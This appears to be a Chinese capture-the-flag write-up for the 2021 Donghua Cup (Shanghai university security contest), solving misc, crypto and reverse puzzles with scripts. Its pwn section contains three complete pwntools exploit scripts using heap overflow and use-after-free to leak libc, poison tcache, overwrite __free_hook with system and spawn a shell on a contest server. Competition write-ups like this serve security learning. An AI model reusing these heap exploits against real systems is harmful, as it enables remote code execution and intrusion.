2021東華杯
第七屆上海市大學生網絡安全競賽 部分wp
misc
checkin
簽到題,utf-7解碼一下即可
+AGYAbABhAGcAewBkAGgAYgBfADcAdABoAH0-
flag{dhb_7th}
JumpJumpTiger
給一個exe,逆向手狂喜,ida分析
nt __cdecl main(int argc, const char **argv, const char **envp)
{
int v4[100]; // [rsp+20h] [rbp-60h]
int v5[101]; // [rsp+1B0h] [rbp+130h]
int v6; // [rsp+344h] [rbp+2C4h]
int v7; // [rsp+348h] [rbp+2C8h]
int i; // [rsp+34Ch] [rbp+2CCh]
_main();
printf("This is your hint!!!");
v7 = 0;
v6 = 0;
for ( i = 0; i <= 99; ++i )
{
if ( i & 1 )
v4[v6++] = i;
else
v5[v7++] = i;
}
return 0;
}
這個很明顯就是分離奇偶位,但是分離什么?字符串搜索發現一串很長的字符串,類似base64,猜測可能是圖片
這段字符串很長,長到超出ida的最大行數,改用strings提取字符串至文本,然后編輯工具提取出這部分保存為txt文件,腳本處理一下
from base64 import *
a = ''
b = ''
with open('hint2.txt','r') as f:
text = f.read()
#print(text)
for i in range(len(text)):
if i & 1:
a += text[i]
else:
b += text[i]
#print(a)
print(b)
with open('1.jpg','wb') as f1:
f1.write(b64decode(b))
with open('1.png','wb') as f2:
f2.write(b64decode(a))
兩個圖片是一樣的,盲水印攻擊得到flag
project
給了很多文件,還以為是工控,但是發現很多文件的日期都是很久前的了,猜測大概率這些文件是用不到的,發現一個備份文件,解壓后得到一個文件,一部分內容為
其他兩部分分別為可打印字符和base64圖片,先解密base64
表情包文化,是隨着網絡社交溝通的增多出現的一種主流文化。一個人的表情包是其隱藏起來的真我,一個國家的表情包里能看到這個國家的表情。有時候,表情包表達的是不能道破的真實想法和感受,語言和文字的盡頭,就是表情包施展的空間。
表情包是網絡語言的一種進化,它的產生和流行與其特定的“生存環境”有關。其追求醒目、新奇、諧謔等效果的特點,與年輕人張揚個性和搞怪的心理相符。
表情包之所以能夠大范圍地傳播,是因為其彌補了文字交流的枯燥和態度表達不准確的弱點,有效地提高了溝通效率。部分表情包具有替代文字的功能,還可以節省打字時間。隨着智能手機的全面普及和社交應用軟件的大量使用,表情包已經高頻率地出現在人們的網絡聊天對話當中。
發現不可見字符,零寬解密http://330k.github.io/misc_tools/unicode_steganography.html得到:hurryup,可打印字符部分和base64相同,在此不累贅
base64轉圖片,得到jpg文件,猜測可能是前面解出來的作為密鑰,嘗試jphswin,oursecret等工具,最終在oursecret發現flag
where_can_find_code
編輯器打開asc文件,發現一串很像是flag的字符串:
<font>
format("Translate the letter J into I");
dpeb{e58ca5e2-2c51-4eef-5f5e-33539364deoa}
</font>
應該是某種換位密碼,結合上面的話,應該是 Playfair Cipher ,那想辦法得到密鑰,文件類似是asc,嘗試wb解密得到
20810842042108421
數字僅有20148組成,雲影密碼無疑,解密后得到 BINGO ,然后在線網站解一下就行
http://rumkin.com/tools/cipher/playfair.php
密碼學
fermat's revenge
給了附件
from Crypto.Util.number import *
f = open('flag.txt', 'rb')
m = bytes_to_long(f.read())
f.close()
e = 65537
p = getPrime(1024)
q = getPrime(1024)
n = p * q
c = pow(m, e, n)
hint = pow(1010 * p + 1011, q, n)
f = open('cipher.txt', 'w')
f.write(f'n={n}\n')
f.write(f'c={c}\n')
f.write(f'hint={hint}\n')
f.close()
這個給的條件比較少,數學推理開始
hint = (1010*p+1011)^q mod n
先二項式展開化簡一下
hint = (1010*p)^q+1011^q mod p
= 1011^q mod p
= 1011^pq mod p
存在:1011^pq = 1011^p mod p
所以p | hint-1011^n,
又因為p | n
所以q = gcd(N,hint-1011^n)
所以N可被分解
代碼如下
from gmpy2 import *
from Crypto.Util.number import *
n=17329555687339057933030881774167606066714011664369940819755094697939414110116183129515036417930928381309923593306884879686961969722610261114896200690291299753284120079351636102685226435454462581742248968732979816910255384339882675593423385529925794918175056364069416358095759362865710837992174966213332948216626442765218056059227797575954980861175262821459941222980957749720949816909119263643425681517545937122980872133309062049836920463547302193585676588711888598357927574729648088370609421283416559346827315399049239357814820660913395553316721927867556418628117971385375472454118148999848258824753064992040468588511
c=2834445728359401954509180010018035151637121735110411504246937217024301211768483790406570069340718976013805438660602396212488675995602673107853878297024467687865600759709655334014269938893756460638324659859693599161639448736859952750381592192404889795107146077421499823006298655812398359841137631684363428490100792619658995661630533920917942659455792050032138051272224911869438429703875012535681896010735974555495618216882831524578648074539796556404193333636537331833807459066576022732553707927018332334884641370339471969967359580724737784159811992637384360752274204462169330081579501038904830207691558009918736480389
hint=2528640120640884291705022551567142949735065756834488816429783990402901687493207894594113717734719036126087363828359113769238235697788243950392064194097056579105620723640796253143555383311882778423540515270957452851097267592400001145658904042191937942341842865936546187498072576943297002184798413336701918670376291021190387536660070933700475110660304652647893127663882847145502396993549034428649569475467365756381857116208029508389607872560487325166953770793357700419069480517845456083758105937644350450559733949764193599564499133714282286339445501435278957250603141596679797055178139335763901195697988437542180256184
e = 65537
q = gcd(n,hint-pow(1011,n,n))
#print(q)
p = n//q
Fai = (p-1)*(q-1)
d = invert(e,Fai)
m = pow(c,d,n)
print(long_to_bytes(m))
#flag{1d2f28834ecxx3bxxx0xxxxxxxxe}
The_RSA
未解出
My_CrptoSystem
未解出
BlockEncrypt
未解出
reverse
ooo
64位linux程序,ida分析一下
其中比較的函數是一個比較的過程,可以動態調試稍微看一下
大概就是取低字節比較,要求的輸入flag先被異或處理,然后和取低字節的dword數組比較,相等就可以,dword的數據為
0x6,0x10C,0x201,0x307,0x41B,0x551,0x653,0x706,0x853,0x955,0x0A56,0x0B56,0x0C53,0x0D4D,0x0E55,0x0F50,0x1001,0x1154,0x124D,0x1354,0x1457,0x1557,0x1602,0x174D,0x1852,0x1957,0x1A58,0x1B02,0x1C4D,0x1D02,0x1E57,0x1F51,0x2051,0x2150,0x2252,0x2356,0x2406,0x2506,0x2657,0x2701,0x2804,0x291D
然后flag被異或的部分我們可以直接爆破求出
a = [0x6,0x10C,0x201,0x307,0x41B,0x551,0x653,0x706,0x853,0x955,0x0A56,0x0B56,0x0C53,0x0D4D,0x0E55,0x0F50,0x1001,0x1154,0x124D,0x1354,0x1457,0x1557,0x1602,0x174D,0x1852,0x1957,0x1A58,0x1B02,0x1C4D,0x1D02,0x1E57,0x1F51,0x2051,0x2150,0x2252,0x2356,0x2406,0x2506,0x2657,0x2701,0x2804,0x291D]
flag = ''
for i in range(127):
for j in a:
flag += chr((i^j)&0xff)
if 'flag{' in flag:
print('Now is:',hex(i))
print(flag)
break
感覺是非預期
mod
ida分析,跟進主函數
跟進關鍵函數
這里並沒有發現什么,程序貌似沒有執行完就結束了,看一下匯編
這里發現ida解析出了問題,這里應該是個花指令,上od去掉花指令,這花指令主要是偽造了參數的末尾,將其全部nop就行,然后重新ida分析,得到新的函數
此外,sub_4011A0函數也有花指令,不去掉的話,分析會出錯
最終可以判定此函數為主要算法函數
int __cdecl sub_4011A0(int a1, int a2, int a3)
{
int result; // eax
int v4; // [esp+14h] [ebp-40h]
memset(&v4, 0xCCu, 0x40u);
*(_BYTE *)(a3 + 4 * (a2 / 3)) = byte_405018[(4 * (*(_BYTE *)(a2 + a1 + 2) & 3) | *(_BYTE *)(a2 + a1 + 1) & 0x30 | *(_BYTE *)(a2 + a1) & 0xC0) >> 2];
*(_BYTE *)(a3 + 4 * (a2 / 3) + 1) = byte_405018[(4 * (*(_BYTE *)(a2 + a1) & 3) | *(_BYTE *)(a2 + a1 + 2) & 0x30 | *(_BYTE *)(a2 + a1 + 1) & 0xC0) >> 2];
*(_BYTE *)(a3 + 4 * (a2 / 3) + 2) = byte_405018[(4 * (*(_BYTE *)(a2 + a1 + 1) & 3) | *(_BYTE *)(a2 + a1) & 0x30 | *(_BYTE *)(a2 + a1 + 2) & 0xC0) >> 2];
result = a2 / 3;
*(_BYTE *)(a3 + 4 * (a2 / 3) + 3) = byte_405018[(*(_BYTE *)(a2 + a1 + 2) & 0xC | 4 * *(_BYTE *)(a2 + a1 + 1) & 0x30 | 16 * *(_BYTE *)(a2 + a1) & 0xC0) >> 2];
return result;
}
結合發現的字符串,這個算法應該是魔改的base64算法,base64表也知道,z3解一下
https://www.freebuf.com/column/232002.html
import z3
'''
*(_BYTE *)(a3 + 4 * (a2 / 3)) = byte_405018[(4 * (*(_BYTE *)(a2 + a1 + 2) & 3) | *(_BYTE *)(a2 + a1 + 1) & 0x30 | *(_BYTE *)(a2 + a1) & 0xC0) >> 2];
*(_BYTE *)(a3 + 4 * (a2 / 3) + 1) = byte_405018[(4 * (*(_BYTE *)(a2 + a1) & 3) | *(_BYTE *)(a2 + a1 + 2) & 0x30 | *(_BYTE *)(a2 + a1 + 1) & 0xC0) >> 2];
*(_BYTE *)(a3 + 4 * (a2 / 3) + 2) = byte_405018[(4 * (*(_BYTE *)(a2 + a1 + 1) & 3) | *(_BYTE *)(a2 + a1) & 0x30 | *(_BYTE *)(a2 + a1 + 2) & 0xC0) >> 2];
result = a2 / 3;
*(_BYTE *)(a3 + 4 * (a2 / 3) + 3) = byte_405018[(*(_BYTE *)(a2 + a1 + 2) & 0xC | 4 * *(_BYTE *)(a2 + a1 + 1) & 0x30 | 16 * *(_BYTE *)(a2 + a1) & 0xC0) >> 2];
'''
o = 'ABCDFEGH1JKLRSTMNP0VWQUXY2a8cdefijklmnopghwxyqrstuvzOIZ34567b9+/'
n = '2aYcdfL2fS1BTMMF1RSeMTTASS1OJ8RHTJdBYJ2STJfNMSMAYcKUJddp'
flag = ''
for i in range(0, len(n), 4):
_0 = o.index(n[i + 0])
_1 = o.index(n[i + 1])
_2 = o.index(n[i + 2])
_3 = o.index(n[i + 3])
a1 = [z3.BitVec("a{}".format(j), 8) for j in range(3)]
#print(a1)
sol = z3.Solver()
sol.add(((4 * (a1[2] & 3)) | a1[1] & 0x30 | a1[0] & 0xC0) == _0 << 2)
sol.add(((4 * (a1[0] & 3)) | a1[2] & 0x30 | a1[1] & 0xC0) == _1 << 2)
sol.add(((4 * (a1[1] & 3)) | a1[0] & 0x30 | a1[2] & 0xC0) == _2 << 2)
sol.add((a1[2] & 12 | (4 * a1[1]) & 0x30 | (16 * a1[0]) & 0xC0) == _3 << 2)
assert sol.check() == z3.sat
solve = sol.model()
flag += "".join([chr(solve.eval(j).as_long()) for j in a1])
print(flag)
得到flag
hell'sgate
未解出,待復現
hello
反編譯失敗,環境問題,待研究
pwn
bg3
Arch: amd64-64-little
RELRO: Full RELRO
Stack: Canary found
NX: NX enabled
PIE: PIE enabled
64位程序,保護全部開啟,堆溢出,泄露libc后,修改tcabin的fd為free_hook,然后寫進system函數即可
from pwn import *
context(os = "linux", arch = "amd64",log_level= "debug")
context.terminal = ['tmux', 'splitw', '-h']
#r = process(['/root/LibcSearcher/glibc-all-in-one/libs/2.31-0ubuntu9.2_amd64/ld-2.31.so','./bg3_pwn'],env={'LD_PRELOAD':'/root/LibcSearcher/glibc-all-in-one/libs/2.31-0ubuntu9.2_amd64/libc-2.31.so'})
r = remote('47.104.143.202',25997)
libc = ELF('./bg3_pwn.so')
#libc = ELF('/root/LibcSearcher/glibc-all-in-one/libs/2.31-0ubuntu9.2_amd64/libc-2.31.so')
def menu(choice):
r.recvuntil('Select:\n')
r.sendline(str(choice))
def add(idx,size):
menu(1)
r.recvuntil('Index:\n')
r.sendline(str(idx))
r.recvuntil('PayloadLength:\n')
r.sendline(str(size))
def edit(idx,content):
menu(2)
r.recvuntil('Index:\n')
r.sendline(str(idx))
r.recvuntil('BugInfo:\n')
r.send(content)
def show(idx):
menu(3)
r.recvuntil('Index:\n')
r.sendline(str(idx))
def delete(idx):
menu(4)
r.recvuntil('Index:\n')
r.sendline(str(idx))
for i in range(9):
add(i,0x88)#0-8
for i in range(7,0,-1):
delete(i)#7-1
delete(0)
add(9,0x78)
show(9)
libc_base = u64(r.recvuntil('\x7f')[-6:].ljust(8,'\x00'))-0x1ebc60
print('libc_base',hex(libc_base))
add(0,0x18)
add(1,0x18)
add(2,0x18)
delete(2)
delete(1)
free_hook = libc_base+libc.sym['__free_hook']
print('free_hook',hex(free_hook))
edit(0,'a'*0x18+p64(0x21)+p64(free_hook)+'\n')
add(10,0x18)
edit(10,'/bin/sh'+'\n')
system = libc_base+libc.sym['system']
print('system',hex(system))
add(11,0x18)
edit(11,p64(system)+'\n')
delete(10)
#gdb.attach(r)
r.interactive()
cpp1
Arch: amd64-64-little
RELRO: Full RELRO
Stack: Canary found
NX: NX enabled
PIE: PIE enabled
64位程序,保護全開,沒啥好說的
from pwn import *
context(os = "linux", arch = "amd64")#,log_level= "debug")
context.terminal = ['tmux', 'splitw', '-h']
#r = process(['/root/LibcSearcher/glibc-all-in-one/libs/2.31-0ubuntu9.2_amd64/ld-2.31.so','./cpp1_pwn'],env={'LD_PRELOAD':'/root/LibcSearcher/glibc-all-in-one/libs/2.31-0ubuntu9.2_amd64/libc-2.31.so'})
#libc = ELF('/root/LibcSearcher/glibc-all-in-one/libs/2.31-0ubuntu9.2_amd64/libc-2.31.so')
r = remote('47.104.143.202',43359)
libc = ELF('./cpp1_pwn')
def menu(choice):
r.recvuntil('>>\n')
r.sendline(str(choice))
def add(idx,size):
menu(1)
r.recvuntil(">>\n")
r.sendline(str(idx))
r.recvuntil(">>\n")
r.sendline(str(size))
def edit(idx,content):
menu(2)
r.recvuntil(">>\n")
r.sendline(str(idx))
r.recvuntil(">>\n")
r.send(content)
def show(idx):
menu(3)
r.recvuntil(">>\n")
r.sendline(str(idx))
def delete(idx):
menu(4)
r.recvuntil(">>\n")
r.sendline(str(idx))
for i in range(9):
add(i,0x88)
for i in range(7,0,-1):
delete(i)
delete(0)
add(9,0x78)
show(9)
libc_base = u64(r.recvuntil('\x7f')[-6:].ljust(8,'\x00'))-0x1ebc60
print('libc_base',hex(libc_base))
add(0,0x18)
add(1,0x18)
add(2,0x18)
delete(2)
delete(1)
free_hook = libc_base+libc.sym['__free_hook']
print('free_hook',hex(free_hook))
edit(0,'a'*0x18+p64(0x21)+p64(free_hook)+'\n')
add(10,0x18)
edit(10,'/bin/sh'+'\n')
system = libc_base+libc.sym['system']
print('system',hex(system))
add(11,0x18)
edit(11,p64(system)+'\n')
delete(10)
#gdb.attach(r)
r.interactive()
gcc2
Arch: amd64-64-little
RELRO: Full RELRO
Stack: Canary found
NX: NX enabled
PIE: PIE enabled
64位程序,保護全開,存在uaf漏洞,並且申請最大堆不超過0x67,因為這個造成大小的限制,可以偽造一個fake堆,讓其溢出到下一個chunk的size,修改其達到滿足進入unsortedbin的大小,然后填滿后再次釋放即可進入unsortedbin,進而泄露libc,后面就是寫free_hook
疑點:最開始是打算泄露堆地址,然后分配到 tcache控制塊來泄露libc,但是本地調試是不成功的,原因待探究
from pwn import *
context(os = "linux", arch = "amd64")#,log_level= "debug")
context.terminal = ['tmux', 'splitw', '-h']
#r = process(['/root/LibcSearcher/glibc-all-in-one/libs/2.31-0ubuntu9.2_amd64/ld-2.31.so','./gcc2_pwn'],env={'LD_PRELOAD':'/root/LibcSearcher/glibc-all-in-one/libs/2.31-0ubuntu9.2_amd64/libc-2.31.so'})
#libc = ELF('/root/LibcSearcher/glibc-all-in-one/libs/2.31-0ubuntu9.2_amd64/libc-2.31.so')
r = remote('47.104.143.202',15348)
libc = ELF('./gcc2.so')
def menu(choice):
r.recvuntil('>>\n')
r.sendline(str(choice))
def add(idx,size):
menu(1)
r.recvuntil(">>\n")
r.sendline(str(idx))
r.recvuntil(">>\n")
r.sendline(str(size))
def edit(idx,content):
menu(2)
r.recvuntil(">>\n")
r.sendline(str(idx))
r.recvuntil(">>\n")
r.send(content)
def show(idx):
menu(3)
r.recvuntil(">>\n")
r.sendline(str(idx))
def delete(idx):
menu(4)
r.recvuntil(">>\n")
r.sendline(str(idx))
add(0,0x67)
add(1,0x67)
add(2,0x67)
add(3,0x67)
add(4,0x18)
delete(1)
edit(1,p64(0)+p64(0x71)+'\n')
delete(0)
show(0)
heap_base = u64(r.recvuntil('\n').strip().ljust(8,'\x00'))
print('heap_base',hex(heap_base))
fake = heap_base+0x10
edit(0,p64(fake)+'\n')
add(5,0x67)
add(6,0x67)
edit(6,'a'*0x58+'\xe1'+'\n')
#edit(2,'aaa'+'\n')
#delete(2)
for i in range(7):
edit(2,p64(0)+'\n')
delete(2)
edit(2,p64(0)+'\n')
delete(2)
show(2)
libc_base = u64(r.recvuntil('\x7f')[-6:].ljust(8,'\x00'))-0x1ebbe0
print(hex(libc_base))
add(7,0x18)
add(8,0x18)
delete(7)
delete(8)
free_hook = libc_base+libc.sym['__free_hook']
print('free_hook',hex(free_hook))
edit(8,p64(free_hook)+'\n')
add(9,0x18)
add(10,0x18)
system = libc_base+libc.sym['system']
print('system',hex(system))
edit(10,p64(system)+'\n')
edit(3,'/bin/sh'+'\n')
delete(3)
#gdb.attach(r)
r.interactive()
boom_script
未解出,待研究
web
非web選手,可見其他師傅的wp,我是個FW